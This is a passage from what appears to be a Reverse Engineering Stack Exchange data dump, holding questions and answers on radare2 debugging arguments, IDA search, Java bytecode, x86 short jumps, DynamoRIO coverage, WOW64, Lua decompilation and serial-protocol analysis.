&lt;code&gt;ood&lt;/code&gt; command is used to &quot;&lt;em&gt;reopen in debugger mode (with args)&lt;/em&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 /bin/ls&#xA; -- Use V! to enter into the visual panels mode (dwm style)&#xA;&#xA;[0x004049a0]&amp;gt; doo -la&#xA;Process with PID 4757 started...&#xA;File dbg:///bin/ls  -la reopened in read-write mode&#xA;= attach 4757 4757&#xA;4757&#xA;&#xA;[0x7f5f36600c30]&amp;gt; dc&#xA;total 206&#xA;drwxrwxrwx 0 root root   512 Feb 13 04:25 .&#xA;drwxrwxrwx 0 root root   512 Jan 16 05:30 ..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also call &lt;code&gt;ood&lt;/code&gt; with dynamic parameters using backticks. For example we want debug our program using the content from a file on our system as an arguments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ood `!cat file.txt`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Say file.txt content is 'foo bar' so this equivalent to executing &lt;code&gt;ood foo bar&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;backticks&lt;/strong&gt; are used for passing the output of radare2 commands.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;!&lt;/strong&gt; is running the given command as in system(3).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Another way to pass arguments to radare2 debugged program is by using &lt;code&gt;rarun2&lt;/code&gt; profile files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -R profile.rr2 -d program&#xA;$ cat profile.rr2&#xA;#!/usr/bin/rarun2&#xA;arg1=foo&#xA;arg2=bar&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;-R&lt;/strong&gt; [rarun2]  specify rarun2 profile to load.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-02-13T12:43:18.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17459" PostTypeId="1" CreationDate="2018-02-13T15:03:12.233" Score="1" ViewCount="188" Body="&lt;p&gt;I am analyzing a malware at the moment which scans for a lot of filenames and ClassNames to recognize if it is under supervision or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is, that all the filenames and ClassNames are stored as Hashes. Therefore i did some kind of dictionary attack (with a list of tools &lt;strong&gt;I&lt;/strong&gt; know). It was very effective - but out of 20 hashes, i am still missing &lt;strong&gt;one&lt;/strong&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am searching for days now... it drives me crazy :D&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The hashed ClassName is: 0x56151B4F&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The hashing algorithm is: &lt;a href=&quot;https://repl.it/repls/MaroonIrritatingAchillestang&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://repl.it/repls/MaroonIrritatingAchillestang&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;My list of tools (dict) is: &#xA;&lt;a href=&quot;https://gist.github.com/atar-axis/b3e16ccf75852f7cb59a7e169be230b1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/atar-axis/b3e16ccf75852f7cb59a7e169be230b1&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As you can see, there are some tools missing in my list - can you complete it?&#xA;&lt;strong&gt;Please think of your most favourite tools and take a look at the list - are they already in there? :)&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you need a list like this one day, feel free to use it.&lt;/p&gt;&#xA;" OwnerUserId="23287" LastEditorUserId="23287" LastEditDate="2018-02-13T17:49:30.617" LastActivityDate="2018-02-14T06:00:22.693" Title="Which RE tool is missing?" Tags="|malware|tools|static-analysis|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17460" PostTypeId="2" ParentId="17189" CreationDate="2018-02-13T17:48:48.630" Score="1" Body="&lt;p&gt;What does work is a text search for a string like &lt;code&gt;com.foo.bar.Method&lt;/code&gt; - press Alt+T in the disassembly, mark &quot;Match case&quot;, &quot;Identifier&quot;. This should help find you the actual method body, at least it's what I have been using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think it's ideal but also I don't know of a better way either. For bigger APKs this can be quite slow but at least it solves the problem.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2018-02-13T17:48:48.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17461" PostTypeId="2" ParentId="17186" CreationDate="2018-02-13T17:58:11.357" Score="2" Body="&lt;p&gt;I'd solve this by running the target in a debugger and putting a logging bp on the function (OllyDbg has them, should be Ctrl+F2 if I remember correctly) that just writes out the return address from the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will spam your log and you quickly should see which return address appears the most.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2018-02-13T17:58:11.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17464" PostTypeId="2" ParentId="17459" CreationDate="2018-02-14T06:00:22.693" Score="1" Body="&lt;p&gt;I would try a Z3 solver if simple bruteforcing fails. The hashing function doesn't seem that hard at the first glance. Of course there aren't any pre-made tools (I think) and a minimal use of your gray matter is required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.google.com.au/search?q=z3+solver+hash&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.google.com.au/search?q=z3+solver+hash&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2018-02-14T06:00:22.693" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17465" PostTypeId="1" CreationDate="2018-02-14T14:57:32.647" Score="1" ViewCount="80" Body="&lt;p&gt;How I can hook SSL API from proprietary software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to extract realtime stock price data from stock trade software that provided by securities company.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no API in this software. And This software is not open source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This software worked on my pc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried inspect connection with wireshark, but it is encrypted. I know that connection between client software and server is encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I need decrypt SSL connection.&#xA;I suppose that it need hook SSL API But I don't know how to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I can do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Environment:&#xA;Windows 10 Home 1709&lt;/p&gt;&#xA;" OwnerUserId="23291" LastEditorUserId="23291" LastEditDate="2018-02-14T17:37:34.763" LastActivityDate="2018-02-14T17:37:34.763" Title="How do I hook API to get realtime stock price data?" Tags="|windows|windows-10|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17466" PostTypeId="1" AcceptedAnswerId="17467" CreationDate="2018-02-14T15:55:15.880" Score="1" ViewCount="196" Body="&lt;p&gt;I'm just learning to use IDA and according to the book, when using &lt;code&gt;Search&lt;/code&gt; function (&lt;code&gt;Search&amp;gt;text...&lt;/code&gt;, for example) I should see a window with the found results, like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/A50N6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/A50N6.png&quot; alt=&quot;screenshot from the book&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when the search is over, if something is found, I only see in the bottom Search completed text and if I scroll the IDA View-A window, I can see that the text is highlighted. Text string &lt;code&gt;gethostbyname&lt;/code&gt; was searched here:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/kgNYx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kgNYx.png&quot; alt=&quot;screenshot of IDA in use&quot;&gt;&lt;/a&gt;&#xA;I cannot see all the instances at the same time as expected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The version I use is IDA 5.0, free version; it's the same version that the book was based on. How can I get the results to show? &lt;/p&gt;&#xA;" OwnerUserId="23292" LastActivityDate="2018-02-14T16:29:46.273" Title="IDA search results not showing up in a separate window" Tags="|ida|static-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17467" PostTypeId="2" ParentId="17466" CreationDate="2018-02-14T16:29:46.273" Score="2" Body="&lt;p&gt;you may need to check the checkmark find all occurances&lt;br&gt;&#xA;else ida stops when it finds the first occurance and the window doesnt open up   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KQ81L.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KQ81L.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-02-14T16:29:46.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17470" PostTypeId="1" CreationDate="2018-02-14T21:17:27.760" Score="1" ViewCount="1459" Body="&lt;p&gt;I saw java bytecode that need to compare to var,&#xA;if they equal return true, else .....&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(var1==var2)&#xA;   return true;&#xA;else&#xA;{ ...}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on bytecode&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;aload 1&#xA;aload 2&#xA;if_acmpne 6&#xA;iconst 1&#xA;ireturn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understand iconst1 and ireturn to return true. and understand aload1 and aload2 to load 2 var to stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how &lt;code&gt;if_acmpne 6&lt;/code&gt; works? what is 6?&#xA;thank&lt;/p&gt;&#xA;" OwnerUserId="23279" LastActivityDate="2018-02-14T22:23:33.800" Title="explain java bytecode" Tags="|disassembly|java|byte-code|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17471" PostTypeId="2" ParentId="17470" CreationDate="2018-02-14T22:23:33.800" Score="1" Body="&lt;p&gt;The &lt;code&gt;if_acmpne&lt;/code&gt; instruction pops two objects off the stack and compares them. If they are not equal, then it jumps to the provided offset, which in this case is 6 bytes from the start of the method code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, you can learn about all of the bytecode instructions by reading the JVM specification here: &lt;a href=&quot;https://docs.oracle.com/javase/specs/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.oracle.com/javase/specs/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2018-02-14T22:23:33.800" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17472" PostTypeId="1" CreationDate="2018-02-14T23:23:06.157" Score="2" ViewCount="199" Body="&lt;p&gt;I know some about wow64 system, in x64 windows version, and i looked up into this wow64* dlls, to see how the actual syscall transition happen, but something i can't find, and this is probably done by windows kernel, is how the actual x86 assembler instruction processing works? I know that there are two selectors for process, 0x23 for x86, and 0x33 for x64, how does kernel handles the assembly code in 0x23 selector for the process ? Is there some sort of virtual machine, that emulates x86 instructions, using x64 instructions? &lt;/p&gt;&#xA;" OwnerUserId="23300" LastActivityDate="2018-02-15T19:31:13.317" Title="Windows x86 compability on x64 operating system" Tags="|windows|x86|x86-64|kernel|emulation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17473" PostTypeId="1" AcceptedAnswerId="17474" CreationDate="2018-02-15T04:16:26.077" Score="5" ViewCount="1950" Body="&lt;p&gt;In the following code snippet, the EB F2 instruction is causing execution to jump back up to the line indicated by the arrow. How is this the case given that there is no address supplied to EB and the jmp is less than F2 away in terms of address distance?&lt;a href=&quot;https://i.stack.imgur.com/WGdoU.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WGdoU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; These two locations are 0xC from each other.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastEditorUserId="18507" LastEditDate="2018-02-15T05:25:41.017" LastActivityDate="2018-02-15T05:30:13.177" Title="How does this EB F2 x86 instruction work?" Tags="|disassembly|assembly|x86|x64dbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17474" PostTypeId="2" ParentId="17473" CreationDate="2018-02-15T05:30:13.177" Score="10" Body="&lt;p&gt;from google  &lt;a href=&quot;http://thestarman.pcministry.com/asm/2bytejumps.htm&quot; rel=&quot;noreferrer&quot;&gt;starmans&lt;/a&gt; realm &lt;/p&gt;&#xA;&#xA;&lt;p&gt;quoting relevant info&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;These are also known as SHORT Relative Jumps. Programs using only Relative    &#xA;Jump  instructions can be relocated anywhere in memory without having to     &#xA;change the    machine code for the Jumps. The first byte of a SHORT Jump is    &#xA;always EB and the    second is a relative offset from 00h to 7Fh for Forward    &#xA;jumps, and from 80h to    FFh for Reverse (or Backward) jumps. [Note: The    &#xA;offset count always begins at    the byte immediately after the JMP    &#xA;instruction for any type of Relative Jump!] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so &lt;strong&gt;eb 01 to eb 7f&lt;/strong&gt;  jumps forward&lt;br&gt;&#xA;&lt;strong&gt;eb fe to eb 80&lt;/strong&gt; jumpf backward&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so current instruction is at 0x172b066 adding the opcode length 2 the current instruction ends at xxxx68  or the next instruction starts at 0xxxxx68 &#xA;0xf2 == -0xe (read about twos complement notation) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;0xxxxx68 - 0xe = 0xxxxx5A &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-02-15T05:30:13.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17475" PostTypeId="2" ParentId="16573" CreationDate="2018-02-15T15:45:00.107" Score="1" Body="&lt;p&gt;As &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/60/igor-skochinsky&quot;&gt;@IgorSkochinsky&lt;/a&gt; suggests, you can use dynamic binary instrumentation (DBI).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One alternative to PIN is &lt;a href=&quot;http://dynamorio.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DynamoRIO&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./drbuild.sh  # build script (below)&#xA;$ gcc gcd.c -o gcd&#xA;&#xA;# run one&#xA;$ $ ./dynamorio/build/bin32/drrun -t drcov -dump_text -- ./gcd 5 10&#xA;5&#xA;&#xA;$ ls  # so we know which log is from our first run&#xA;drbuild.sh  drcov.gcd.18958.0000.proc.log  dynamorio  gcd  gcd.c&#xA;&#xA;# run two&#xA;$ $ ./dynamorio/build/bin32/drrun -t drcov -dump_text -- ./gcd 128 24&#xA;8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now that we have built DynamoRIO with &lt;a href=&quot;https://www.dropbox.com/s/1gki8k1y5axexw4/drbuild.sh?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;drbuild.sh&lt;/code&gt;&lt;/a&gt;, compiled &lt;a href=&quot;https://www.dropbox.com/s/zvwkyvq5qg73p2p/gcd.c?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;gcd.c&lt;/code&gt;&lt;/a&gt;, run &lt;a href=&quot;https://www.dropbox.com/s/54a7mwtu9r0igla/gcd?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;gcd&lt;/code&gt;&lt;/a&gt;, and generated &lt;a href=&quot;https://www.dropbox.com/s/fp0sqvjiedi6agw/drcov.gcd.18958.0000.proc.log?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;drcov.gcd.18958.0000.proc.log&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://www.dropbox.com/s/27gaow6ymluiqmi/drcov.gcd.18960.0000.proc.log?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;drcov.gcd.18960.0000.proc.log&lt;/code&gt;&lt;/a&gt;, we can compare the &quot;BB Table&quot; field between the logs for runs one (2177) and two (2183) to immediately see that more basic blocks (counting duplicity) were executed on the second run, as we should expect due to the &lt;code&gt;while()&lt;/code&gt; in &lt;code&gt;gcd_iter()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basic blocks are grouped by module and identified by their offsets into that module. For example, &lt;code&gt;module 0&lt;/code&gt; contains all basic blocks in the &lt;code&gt;gcd&lt;/code&gt; binary. The line containing &lt;code&gt;module[  0]: 0x0000043b&lt;/code&gt; means that the basic block at &lt;code&gt;module 0 start (0x08048000) + 0x0000043b&lt;/code&gt; was encountered. From &lt;a href=&quot;https://www.dropbox.com/s/xerf2rjiivk5sww/cfg_part.png?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;this cfg&lt;/a&gt;, we can see that &lt;code&gt;0x0804843b&lt;/code&gt; is the first basic block in the &lt;code&gt;gcd_iter()&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the first argument to &lt;code&gt;gcd_iter()&lt;/code&gt; is negative, execution falls through to &lt;code&gt;0x08048444&lt;/code&gt;, which negates that argument; otherwise, we jump to &lt;code&gt;0x8048447&lt;/code&gt;. The logs for the first two runs, in which all arguments are positive, align with this expectation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ grep -F 'module[  0]:' drcov.gcd.18958.0000.proc.log&#xA;...&#xA;module[  0]: 0x0000043b,   9&#xA;module[  0]: 0x00000447,   6&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Running &lt;code&gt;gcd&lt;/code&gt; with a negative first argument shows how DynamoRIO's output is dynamic.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./dynamorio/build/bin32/drrun -t drcov -dump_text -- ./gcd -5 10&#xA;$ grep -F 'module[  0]:' drcov.gcd.18970.0000.proc.log&#xA;...&#xA;module[  0]: 0x0000043b,   9&#xA;module[  0]: 0x00000444,   9&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23306" LastActivityDate="2018-02-15T15:45:00.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17476" PostTypeId="2" ParentId="17472" CreationDate="2018-02-15T19:31:13.317" Score="5" Body="&lt;p&gt;There is no need for emulation because x64 processors can execute x86 (32-bit) code natively using so-called &lt;em&gt;compatibility mode&lt;/em&gt;. You only need to set up proper &lt;a href=&quot;https://www.codeproject.com/Articles/45788/The-Real-Protected-Long-mode-assembly-tutorial-for&quot; rel=&quot;noreferrer&quot;&gt;descriptors in the GDT&lt;/a&gt; (L=0 for 32-bit code, L=1 for 64-bit code) and it &quot;just works&quot;. This is what Windows does. E.g. from &lt;a href=&quot;https://www.osronline.com/showthread.cfm?link=246643&quot; rel=&quot;noreferrer&quot;&gt;this OSR post&lt;/a&gt;, the windows 7 x64 GDT has these entries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GDT[0x04] = 32 bit ring 3 Code: Execute/Read&#xA;GDT[0x05] = 32 bit ring 3 Data: Read/Write, Accessed&#xA;GDT[0x06] = 64 bit ring 3 Code: Execute/Read, Accessed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Index 4 corresponds to the selector 0x23 (4*8=0x20) and 6 to 0x33 (6*8=0x30).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So by switching to selector 0x23 you can have the CPU execute your code as x86, and then go back to x64 by switching to 0x33.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wow64cpu.dll&lt;/code&gt; contains both 32-bit and 64-bit code and is responsible for most of house-keeping necessary when switching between x64 and x86. Kernel itself is x64 only AFAIK, 32-bit code is supported only in user mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more details on Wow64 implementation see this nice article by George Nicolaou:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://rce.co/knockin-on-heavens-gate-dynamic-processor-mode-switching/&quot; rel=&quot;noreferrer&quot;&gt;http://rce.co/knockin-on-heavens-gate-dynamic-processor-mode-switching/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-02-15T19:31:13.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17479" PostTypeId="1" CreationDate="2018-02-16T16:50:35.917" Score="1" ViewCount="2716" Body="&lt;p&gt;I discovered that a Unity games have lua scripts. I tried to decompile lua using some tools but they are not working with lua from Unity Games. The header doesn't look the same so they seems encrypted. Any idea how to decrypt or decompile it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lua file example: &lt;a href=&quot;http://www105.zippyshare.com/v/Gdy1wlRx/file.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www105.zippyshare.com/v/Gdy1wlRx/file.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19188" LastActivityDate="2018-06-22T03:45:25.677" Title="Decompile lua from Unity Games" Tags="|decompiler|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17481" PostTypeId="1" CreationDate="2018-02-16T19:08:06.467" Score="2" ViewCount="152" Body="&lt;p&gt;I am reversing a serial 232 protocol and I found these pattern in the data. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;E5 A7 CD 01 00 &#xA;79 .. .. 40&#xA;00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;follows some recording and expected approx results&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A=~-10 B=0 C=0 D=~-85.9&#xA;E5 A7 CD 01 00 79 31 0A 79 35 0A 79 36 0A 40 0F 24 50 05 9B B1 94 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;8F E5 A7 CD 01 00 79 31 0A 79 35 0A 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;2B E5 A7 CD 01 00 79 31 0A 79 35 0A 79 36 0A 40 0F 24 50 05 9B D8 A4 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;C6 E5 A7 CD 01 00 79 31 0A 5B 00 00 79 35 0A 79 36 0A 40 0F 24 50 05 9C 01 CC 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;18 E5 A7 CD 01 00 79 31 0A 79 35 0A 79 36 0A &#xA;B4 E5 A7 CD 01 00 79 31 0A 79 35 0A 79 36 0A 40 0F 24 50 05 9C 28 DC 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;4F E5 A7 CD 01 00 79 31 0A 79 35 0A 79 36 0A&#xA;79 36 4A 40 0F 24 50 05 9C 4F EC 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;79 36 4E 40 0F 24 50 05 9C 63 74 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;79 36 0E 40 0F 24 50 05 9C 76 FC 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;79 36 0E 40 0F 24 50 05 9C 8A 84 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;79 36 0E 40 0F 24 50 05 9C B1 94 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;30 E5 A7 CD 01 00 79 31 0E 40 0F 24 50 05 9C D7 DC FF 9C 00 79 36 0E 40 0F 24 50 05 9C D8 A4 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;CB E5 A7 CD 01 00 79 31 0E 40 0F 24 50 05 9D 01 FF 9C 00 07 00 01 00 90 02 35 00 00 79 36 0E 40 0F 24 50 05 9D 01 CC 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;79 36 0E 40 0F 24 50 05 9D 28 DC 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;79 36 0F 40 4F 24 50 05 9D 4F EC 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;79 36 0F 40 4F 24 50 05 9D 63 74 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;79 36 0F 40 4F 24 50 05 9D 8A 20 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;79 36 0F 40 4F 24 50 05 9D 9E 0C 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;79 36 0F 40 4F 24 50 05 9D B1 30 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;72 E5 A7 CD 01 00 79 31 0F 40 4F 24 50 05 9D C3 F0 02 4C&#xA;79 36 0F 40 4F 24 50 05 9D C4 B8 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21 05 0A&#xA;82 79 36 0F 40 4F 24 50 05 9D D8 40 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;A9 E5 A7 CD 01 00 79 31 0F 40 4F 24 50 05 9E 00 A0 05 05 14 00 F6 00 64 00 5A 00 00 79 35 0F 40 4F 05 00 63 88 0F A0 0F A0 0F A0 00 00 00 00 00 00 24 50 05   9E 01&#xA;FB E5 A7 CD 01 00 79 31 0F 40 4F 24 50 05 9E 14 28 06 DC 05 94 01 0E 00 5B 00 1E 00 00 79 35 0F 40 4F 06 DC 00 63 88 0F A0 0F A0 0F A0 00 00 00 00 00 00 24   50 05 9E 14 8C 07 0A 79 36 0F 40 4F 24 50 05 9E 14 F0 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;79 36 0F 40 4F 24 50 05 9E 28 78 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;32 E5 A7 CD 01 00 79 31 0F 40 4F 24 50 05 9E 3B 38 07 68 05 60 01&#xA;CE E5 A7 CD 01 00 79 31 0F 40 4F 24 50 05 9E 4E C0 05 5F 79 36 0F 40 4F 24 50 05 9E 4F 88 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;99 45 00 CE 00 34 FF FE 00 00 07 79 36 0F 40 4F 24 50 05 9E 63 10 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;79 36 0F 40 4F 24 50 05 9E 76 98 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;4B 00 9F 00 24 00 02 00 00 79 36 0F 40 4F 24 50 05 9E 8A 20 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;79 36 0F 40 4F 24 50 05 9E 9D A8 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;D7 E5 A7 CD 01 00 79 31 0F 40 4F 24 50 05 9E B0 68 00 6E 02 9D 00 7E 00 1B 00 79 36 0F 40 4F 24 50 05 9E B1 30 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;&#xA;A=~3 B=~573 C=~11 =~-1.5&#xA;&#xA;79 36 0F 40 4F 24 50 05 9E C4 B8 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21 05 0E E5 A7 CD 01 00 79 31 0F 40 4F 24 50 05 9E D7 78 00 02 45 00 6E 00 1B   00 00 00 00 79 36 0F 40 4F 24 50 05 9E D8 40 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;79 35 0F 40 4F 00 0B 00 13 88 0F A0 0F A0 0F A0 00 00 00 00 00 00 24 50 05 9F 01&#xA;79 36 0F 40 4F 24 50 05 9F 14 F0 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;79 36 0F 40 4F 24 50 05 9F 28 78 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;79 36 0F 40 4F 24 50 05 9F 4F 88 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;6A E5 A7 CD 01 00 79 31 0F 40 4F 24 50 05 9F 62 48 02 48 79 36 0F 40 4F 24 50 05 9F 63 10 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;EB 79 36 2F 40 4F 24 50 05 9F 76 98 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;C1 E5 A7 CD 01 00 79 31 2F 40 4F 24 50 05 9F 89 58 05 FA 05 5D 01 79 36 2F 40 4F 24 50 05 9F 8A 20 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;&#xA;A=~290 B=~1506 C=~28 D=~-1.6&#xA;&#xA;79 36 0F 40 4F 24 50 05 9F 9D A8 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;79 36 0F 40 4F 24 50 05 9F B1 30 00 23 00 23 00 